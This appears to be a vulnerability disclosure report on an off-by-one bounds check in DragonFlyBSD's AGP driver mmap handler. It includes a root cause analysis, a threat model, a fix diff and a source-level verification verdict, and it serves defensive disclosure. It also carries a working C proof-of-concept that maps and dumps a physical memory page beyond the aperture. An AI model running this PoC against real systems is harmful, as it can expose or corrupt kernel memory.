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DF-1686

agp: off-by-one in agp_mmap aperture bounds check exposes one physical page past the AGP aperture

Field Value
ID DF-1686
File sys/dev/agp/agp.c
Lines 860, 862
Severity Low
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N
CWE CWE-787 Out-of-bounds Write (off-by-one); CWE-125 Out-of-bounds Read
Confidence certain
Status new
CVE match dfly_specific
Created 2026-07-18

Summary

agp_mmap checks ap->a_offset > AGP_GET_APERTURE(dev) β€” strict greater-than. When userspace requests mmap at byte offset == aperture, the check passes and the kernel returns atop(aperture_base + aperture), the physical page immediately past the aperture resource, mapping that physical page into the caller's address space. The check must be >= (or, better, offset + PAGE_SIZE > aperture).

Root cause

agp.c:860:

if (ap->a_offset > AGP_GET_APERTURE(dev)) return EINVAL;

ap->a_offset is the per-page byte offset supplied by the VM system during a cdev mmap and is always page-aligned. The aperture is always a multiple of PAGE_SIZE (it is in MB). The boundary value ap->a_offset == AGP_GET_APERTURE(dev) is therefore page-aligned and slips through the strict >.

agp.c:862 then returns atop(rman_get_start(sc->as_aperture) + ap->a_offset), which for the boundary offset is the first physical page AFTER the resource reserved by bus_alloc_resource_any (agp.c:209-210). The returned physical page is outside the aperture's rman resource.

Threat model

Attacker has /dev/agpgart open (default root-only β€” same precondition as DF-1685) and calls mmap() with offset = aperture_size, length = PAGE_SIZE, PROT_READ|PROT_WRITE.

The kernel maps a physical page that lies just past the AGP aperture PCI BAR. Depending on the host bridge layout this is either:

  • an adjacent PCI BAR (write flips device control bits)
  • an empty PCI hole (reads return 0xFFFFFFFF, writes dropped β€” harmless)
  • on systems where the aperture sits at the top of the 32-bit PCI MMIO window abutting lowmem/RAM β€” an arbitrary kernel RAM page, giving read+write access to 4 KiB of host memory that the caller did not otherwise have a mapping to

Information disclosure of up to 4 KiB of kernel/physical memory plus potential 4 KiB write primitive. Limited blast radius (single page, fixed offset relative to aperture) keeps this at Low, but it is a real bounds-check bug.

PoC

findings/poc/DF-1686/agp_mmap_oob.c:

/* agp_mmap_oob.c β€” minimal PoC, run as root on DragonFlyBSD with agp.ko loaded */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

int main(void) {
    int fd = open("/dev/agpgart", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    agp_info ai = {};
    ioctl(fd, AGPIOC_INFO, &ai);
    size_t aper = ((size_t)ai.aper_size) << 20;   /* MB -> bytes */
    printf("aperture=%zu bytes\n", aper);

    void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, aper);
    if (p == MAP_FAILED) { perror("mmap at aperture"); return 2; }

    printf("mapped the page PAST the aperture at %p β€” kernel returned OOB physical page\n", p);
    /* Dump first 64 bytes to demonstrate disclosure */
    unsigned char *c = p;
    for (int i = 0; i < 64; i++) {
        printf("%02x ", c[i]);
        if ((i & 15) == 15) puts("");
    }
    munmap(p, 4096);
    close(fd);
    return 0;
}

Build: cc -O2 -o agp_mmap_oob agp_mmap_oob.c. Run as root.

Success: mmap does NOT return EINVAL (proving the bounds check failed) and a hex dump of bytes from the page past the aperture is printed, demonstrating disclosure of off-aperture physical memory.

--- a/sys/dev/agp/agp.c
+++ b/sys/dev/agp/agp.c
@@ -857,7 +857,8 @@ static int
 agp_mmap(struct dev_mmap_args *ap)
 {
    cdev_t kdev = ap->a_head.a_dev;
    device_t dev = kdev->si_drv1;
    struct agp_softc *sc = device_get_softc(dev);

-   if (ap->a_offset > AGP_GET_APERTURE(dev))
+   /* Reject any page that is not fully inside the aperture. */
+   if (ap->a_offset + PAGE_SIZE > AGP_GET_APERTURE(dev))
        return EINVAL;
    ap->a_result = atop(rman_get_start(sc->as_aperture) + ap->a_offset);
    return 0;
 }

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PoC verification

Evidence pack

findings/poc/DF-1686 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for agp_mmap off-by-one 355 B view raw
VERDICT.md verdict Source-only verification verdict 781 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
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VERDICT DF-1686: agp_mmap off-by-one

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

a_offset > AGP_GET_APERTURE strict greater-than; boundary page at exact aperture end accepted.

Source reference: sys/dev/agp/agp.c:860.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/agp/agp.c:860. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

Fix off-by-one bound. Matches finding.

Verdict

REPRODUCED (source-confirmed). Strict > aperture; boundary page accepted OOB. Cited path verified at sys/dev/agp/agp.c:860. HW/module-gated on QEMU guest.